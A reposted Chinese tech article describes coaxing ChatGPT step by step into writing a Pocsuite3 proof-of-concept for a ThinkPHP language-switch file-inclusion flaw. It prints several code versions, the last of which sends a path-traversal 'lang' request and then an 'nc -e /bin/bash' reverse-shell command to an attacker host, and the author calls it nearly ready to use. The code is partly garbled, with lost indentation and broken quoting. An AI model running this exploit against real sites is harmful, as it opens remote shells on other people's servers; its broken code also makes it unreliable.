0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

通過(guò)ChatGPT來(lái)快速編寫(xiě)Pocsuite3

jf_Fo0qk3ln ? 來(lái)源:FreeBuf.COM ? 2023-01-29 11:06 ? 次閱讀

通過(guò)ChatGPT來(lái)快速編寫(xiě)Pocsuite3

前言

這一模型可以與人類進(jìn)行談話般的交互,可以回答追問(wèn),連續(xù)性的問(wèn)題,承認(rèn)其回答中的錯(cuò)誤,指出人類提問(wèn)時(shí)的不正確前提,拒絕回答不適當(dāng)?shù)膯?wèn)題。

簡(jiǎn)單來(lái)說(shuō),ChatGPT是一個(gè)AI,能夠分析我們題出的問(wèn)題,并且對(duì)此做出解答。可以通過(guò)ChatGPT來(lái)分析代碼,或者讓其根據(jù)我們的需求寫(xiě)出相應(yīng)的代碼,如下。

99029812-9f08-11ed-bfe3-dac502259ad0.jpg

所以,我就在想,能不能讓它給我們編寫(xiě)poc,簡(jiǎn)化平時(shí)的一個(gè)工作,于是便有了這篇文章。

分析

發(fā)現(xiàn)

我發(fā)現(xiàn),ChatGPT緩存了當(dāng)此詢問(wèn)的結(jié)果,當(dāng)我們前后兩個(gè)問(wèn)題相似的時(shí)候,ChatGPT會(huì)去分析兩個(gè)問(wèn)題的一個(gè)相似度,如果相似度過(guò)高,則會(huì)返回上一次分析的結(jié)果。而且對(duì)于有歧義的語(yǔ)句,其處理結(jié)果誤差比較大,所以我們可以一開(kāi)始給出一個(gè)簡(jiǎn)單的語(yǔ)句,然后通過(guò)逐步的訓(xùn)練,讓其結(jié)果更加符合我們的預(yù)期。

過(guò)程

原理

在一開(kāi)始,最好向CG(ChatGPT的簡(jiǎn)稱)提供漏洞的相關(guān)原理,但是由我們直接去敘述,其準(zhǔn)確性比較低,因?yàn)檎Z(yǔ)言存在歧義,那么,我們可以通過(guò)引導(dǎo)的方式,去讓CG了解和漏洞有關(guān)的信息,比如ThinkPHP最新的漏洞原理是因?yàn)槎嗾Z(yǔ)言模式的開(kāi)啟導(dǎo)致的文件包含,如果我們直接詢問(wèn)。

990efa9e-9f08-11ed-bfe3-dac502259ad0.jpg

我們會(huì)發(fā)現(xiàn),CG無(wú)法為我們解析出來(lái),因?yàn)槠鋵?shí)在這里lang_switch_on是config.php返回?cái)?shù)組中的一個(gè)鍵名,準(zhǔn)確來(lái)說(shuō)并不是參數(shù),所以這里解析才會(huì)出錯(cuò)。我們知道config.php會(huì)返回一個(gè)數(shù)組,但是CG因?yàn)椴⒉粫?huì)去解析config.php,所以在它并不覺(jué)得config.php會(huì)返回什么。

992fa726-9f08-11ed-bfe3-dac502259ad0.jpg
但是我們換一種方法,我們?cè)儐?wèn),

993b6246-9f08-11ed-bfe3-dac502259ad0.jpg

我們會(huì)發(fā)現(xiàn),CG給出了我們一個(gè)流程,那么在這里,CG就記住了這一答案,當(dāng)我們?cè)诼┒丛碇屑尤肓诉@句話,那么CG就能正確解析。

分段

當(dāng)我們直接通過(guò)一大段話讓其給我們編寫(xiě)程序的時(shí)候,你會(huì)發(fā)現(xiàn)會(huì)有很多錯(cuò)誤,如下。

994a0f1c-9f08-11ed-bfe3-dac502259ad0.jpg

根據(jù)我上面的發(fā)現(xiàn),我突然想 ,我們可以先給出一個(gè)簡(jiǎn)單的需求,在后面不斷基于之前給的答案,增加其準(zhǔn)確度就行。如下。

首先,詢問(wèn)是否知道pocsuite,并要求給出一個(gè)例子。

9a3fd186-9f08-11ed-bfe3-dac502259ad0.jpg

import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase


class TestPOC(POCBase):
    vulID = '12345'
    version = '1.0'
    author = 'test'
    vulDate = '2022-01-01'
    createDate = '2022-01-01'
    updateDate = '2022-01-01'
    references = ['https://example.com/vul/12345']
    name = 'Test POC'
    appPowerLink = 'https://example.com'
    appName = 'Test'
    appVersion = '1.0'
    vulType = 'Test Vul'
    desc = '''Test POC Description'''
    samples = ['']

    def _attack(self):
        # your code here
        pass

    def _verify(self):
        # your code here
        result = {}
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        # your code here
        return output


def main():
    register_poc(TestPOC)


if __name__ == '__main__':
    main()

接著,添加對(duì)漏洞的描述,要求其改進(jìn)。

import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase


class ThinkPHP5_File_Inclusion(POCBase):
    vulID = '12345'
    version = '1.0'
    author = 'test'
    vulDate = '2022-01-01'
    createDate = '2022-01-01'
    updateDate = '2022-01-01'
    references = ['https://example.com/vul/12345']
    name = 'ThinkPHP5 File Inclusion Vulnerability'
    appPowerLink = 'https://thinkphp.cn'
    appName = 'ThinkPHP'
    appVersion = '5.0'
    vulType = 'File Inclusion'
    desc = '''
    This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
    To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
    and a malicious lang parameter must be passed in the URL.
    '''
    samples = ['']

    def _attack(self):
        # your code here
        pass

    def _verify(self):
        result = {}
        # your code here
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)

這時(shí)候,我們?cè)偬砑右恍┬畔ⅰ?/p>

9a53927a-9f08-11ed-bfe3-dac502259ad0.jpg

import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase

class ThinkPHP5_File_Inclusion(POCBase):
vulID = '12345'
version = '1.0'
author = 'test'
vulDate = '2022-12-09'
createDate = '2022-12-09'
updateDate = '2022-12-09'
references = ['https://tttang.com/archive/1865/']
name = 'ThinkPHP5 File Inclusion Vulnerability'
appPowerLink = 'https://thinkphp.cn'
appName = 'ThinkPHP'
appVersion = '5.0'
vulType = 'File Inclusion'
desc = '''
This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
phearcmd.php file and execute arbitrary commands.
'''
samples = ['']

def _attack(self):
    # your code here
    pass

def _verify(self):
    result = {}
    # your code here
    # send a request with a malicious lang parameter
    url = self.url + '?lang=../phearcmd.php'
    r = req.get(url)

    # check if the phearcmd.php file was included
    if 'PhearCommand execution' in r.text:
        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = url

    return self.parse_output(result)

def parse_output(self, result):
    output = Output(self)
    if result:
        output.success(result)
    else:
        output.fail('The vulnerability could not be verified')
    return output

def main():
register_poc(ThinkPHP5_File_Inclusion)

if name == 'main':
main()

最后,我們?cè)傺a(bǔ)充一點(diǎn)。

9a6c8da2-9f08-11ed-bfe3-dac502259ad0.jpg

import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase

class ThinkPHP5_File_Inclusion(POCBase):
vulID = '12345'
version = '1.0'
author = 'test'
vulDate = '2022-12-09'
createDate = '2022-12-09'
updateDate = '2022-12-09'
references = ['https://tttang.com/archive/1865/']
name = 'ThinkPHP5 File Inclusion Vulnerability'
appPowerLink = 'https://thinkphp.cn'
appName = 'ThinkPHP'
appVersion = '5.0'
vulType = 'File Inclusion'
desc = '''
This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
phearcmd.php file and execute arbitrary commands, including a reverse shell.
'''
samples = ['']

def _attack(self):
    # your code here
    # send a request with a malicious lang parameter to include phearcmd.php
    url = self.url + '?lang=../phearcmd.php'
    r = req.get(url)

    # check if the phearcmd.php file was included
    if 'PhearCommand execution' in r.text:
        # send a request to execute a reverse shell command
        command = 'php -r "system('nc -e /bin/bash {0} {1}');"'.format(self.options.get('lhost'), self.options.get('lport'))
        url = self.url + '?phearcmd=' + command
        req.get(url)

def _verify(self):
    result = {}
    # your code here
    return self.parse_output(result)

def parse_output(self, result):
    output = Output(self)
    # no output is necessary for this POC
    return output

def main():
register_poc(ThinkPHP5_File_Inclusion)

if name == 'main':
main()

到這里,基本上就可以拿來(lái)改改就能直接使用了。

結(jié)論

通過(guò)以上的利用和分析,我們能感受到CG的一個(gè)強(qiáng)大,當(dāng)CG對(duì)于我們的一個(gè)問(wèn)題的解決結(jié)果誤差較大的時(shí)候,我們可以逐步進(jìn)行求解,讓其引擎對(duì)結(jié)果進(jìn)行不斷的修正,這樣最終的結(jié)果誤差較小。以上只是一個(gè)簡(jiǎn)單的案例,還有更多的可能等待挖掘。

審核編輯:湯梓紅

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • AI
    AI
    +關(guān)注

    關(guān)注

    87

    文章

    29435

    瀏覽量

    267750
  • 模型
    +關(guān)注

    關(guān)注

    1

    文章

    3073

    瀏覽量

    48586
  • 代碼
    +關(guān)注

    關(guān)注

    30

    文章

    4700

    瀏覽量

    68110
  • 編寫(xiě)
    +關(guān)注

    關(guān)注

    0

    文章

    29

    瀏覽量

    8417
  • ChatGPT
    +關(guān)注

    關(guān)注

    28

    文章

    1536

    瀏覽量

    7270

原文標(biāo)題:通過(guò)ChatGPT來(lái)快速編寫(xiě)Pocsuite3

文章出處:【微信號(hào):菜鳥(niǎo)學(xué)信安,微信公眾號(hào):菜鳥(niǎo)學(xué)信安】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    ChatGPT如何使用RLHF來(lái)克服GPT-3存在的問(wèn)題

    ChatGPT 是 OpenAI 發(fā)布的最新語(yǔ)言模型,比其前身 GPT-3 有顯著提升。與許多大型語(yǔ)言模型類似,ChatGPT 能以不同樣式、不同目的生成文本,并且在準(zhǔn)確度、敘述細(xì)節(jié)和上下文連貫性上具有更優(yōu)的表現(xiàn)。
    發(fā)表于 03-10 09:41 ?809次閱讀

    寫(xiě)小說(shuō)、編寫(xiě)程序!強(qiáng)大的ChatGPT也有它的局限性!

    神經(jīng)網(wǎng)絡(luò)。Transformer架構(gòu)廣泛應(yīng)用于語(yǔ)言翻譯、文本摘要、問(wèn)答等自然語(yǔ)言處理任務(wù)。 ? ChatGPT可用于創(chuàng)建能與用戶進(jìn)行對(duì)話的 聊天機(jī)器人 ,由ChatGPT構(gòu)建的對(duì)話機(jī)器人,可以高質(zhì)量的回答用戶的提問(wèn),能夠?qū)懶≌f(shuō),編寫(xiě)
    的頭像 發(fā)表于 12-08 00:59 ?4924次閱讀

    【國(guó)產(chǎn)FPGA+OMAPL138開(kāi)發(fā)板體驗(yàn)】(原創(chuàng))6.FPGA連接ChatGPT 4

    , SEND_TO_CHATGPT = 2, DISPLAY_RESPONSE = 3;: 哇,我們的狀態(tài)機(jī)好復(fù)雜啊,有四個(gè)狀態(tài)!不過(guò)沒(méi)關(guān)系,我們可以一步步來(lái)。 再寫(xiě)個(gè)簡(jiǎn)單的: 首先,我需要澄清一點(diǎn),
    發(fā)表于 02-14 21:58

    怎么通過(guò)FPGA快速檢測(cè)DDR3是否工作正常

    在一個(gè)項(xiàng)目中,發(fā)現(xiàn)數(shù)據(jù)有異常,想判斷FPGA外掛的DDR3正常工作。因?yàn)閷?shí)際生產(chǎn)中,ddr容易出現(xiàn)虛焊或者使用一段時(shí)間后管腳出現(xiàn)接觸不良等問(wèn)題。{:2:}現(xiàn)在想編寫(xiě)一個(gè)程序來(lái)快速判斷,
    發(fā)表于 04-12 16:56

    科技大廠競(jìng)逐AIGC,中國(guó)的ChatGPT在哪?

    ChatGPT就是在GPT-3的基礎(chǔ)上通過(guò)指令微調(diào)后得到的。 圖源:OpenAI官網(wǎng) 結(jié)果,2022年年底ChatGPT實(shí)現(xiàn)了現(xiàn)象級(jí)的傳播,這出乎制作團(tuán)隊(duì)所料。OpenAI用了
    發(fā)表于 03-03 14:28

    【米爾MYD-JX8MMA7開(kāi)發(fā)板-ARM+FPGA架構(gòu)試用體驗(yàn)】4.使用ChatGPT來(lái)助力測(cè)試GPU

    領(lǐng)域的多種應(yīng)用場(chǎng)景比較適用。本次將測(cè)試該開(kāi)發(fā)板的GPU圖形圖像處理能力,并在ChatGPT幫助下使用OpenGL E2.0 開(kāi)發(fā)一個(gè)簡(jiǎn)單的3D模型實(shí)時(shí)渲染的應(yīng)用,及使用ChatGPT來(lái)
    發(fā)表于 04-10 02:07

    SecurityPoc基于Pocsuite3開(kāi)發(fā)的POC插件掃描器

    gitee-security-poc.zip
    發(fā)表于 05-06 11:10 ?0次下載
    SecurityPoc基于<b class='flag-5'>Pocsuite3</b>開(kāi)發(fā)的POC插件掃描器

    ChatGPT編寫(xiě)各種腳本

    最牛逼的還是屬于程序編寫(xiě)方面,ChatGPT在各個(gè)編程語(yǔ)言上面都挺在行的(嘗試了下Python, Perl, Tcl都挺不錯(cuò)的),可以說(shuō)是一個(gè)各個(gè)語(yǔ)言都很了解的程序員了。
    的頭像 發(fā)表于 01-13 10:11 ?7306次閱讀

    chatgpt是什么

    chatgpt是什么 ChatGPT,美國(guó)OpenAI 。ChatGPT是人工智能技術(shù)驅(qū)動(dòng)的自然語(yǔ)言處理工具,它能夠通過(guò)學(xué)習(xí)和理解人類的語(yǔ)言來(lái)
    發(fā)表于 02-10 14:05 ?3.9w次閱讀

    chatgpt怎么用

    chatgpt怎么用 chatgpt怎么用?chatgpt 簡(jiǎn)介 ChatGPT是一種語(yǔ)言模型,它被訓(xùn)練來(lái)對(duì)對(duì)話進(jìn)行建模。它能夠
    發(fā)表于 02-10 14:22 ?5.8w次閱讀

    體驗(yàn)一下ChatGPT帶我們寫(xiě)代碼快感

    OpenAI的ChatGPT是一種自然語(yǔ)言處理技術(shù),它可以幫助開(kāi)發(fā)者快速地完成代碼的編寫(xiě)通過(guò)ChatGPT與Python相結(jié)合,開(kāi)發(fā)人員
    的頭像 發(fā)表于 02-14 09:31 ?1923次閱讀

    如何通過(guò)Python與ChatGPT對(duì)話

    文章目錄 簡(jiǎn)介 安裝 OpenAI API 實(shí)例1預(yù)備條件: 1. 科學(xué)上網(wǎng); 2.注冊(cè) OpenAI 賬號(hào) 。 簡(jiǎn)介 ChatGPT 是 GPT-3 語(yǔ)言模型的變體,專為會(huì)話語(yǔ)言生成而設(shè)計(jì)。要在
    發(fā)表于 02-15 09:55 ?0次下載
    如何<b class='flag-5'>通過(guò)</b>Python與<b class='flag-5'>ChatGPT</b>對(duì)話

    ChatGPT for SegmentFault 插件來(lái)襲 ChatGPT for SegmentFault 插件使用方案解讀

    ChatGPT for SegmentFault 插件來(lái)襲,你真的準(zhǔn)備好了嗎?AI的改變有多大,讓我們拭目以待, ? ? ChatGPT for SegmentFault 是一款基于GPT-3的聊天
    的頭像 發(fā)表于 02-16 18:45 ?2893次閱讀

    從攻擊視角探討ChatGPT對(duì)網(wǎng)絡(luò)安全的影響

    、情景模型和語(yǔ)言模型來(lái)自動(dòng)生成文章,甚 至可以按照用戶的要求編寫(xiě)代碼。 那么ChatGPT會(huì)對(duì)網(wǎng)絡(luò)安全行業(yè)帶來(lái)哪些影響呢? 接下來(lái)我們將通過(guò)系列文章,分別從“攻”、“防”、ChatGPT
    的頭像 發(fā)表于 02-22 08:15 ?1379次閱讀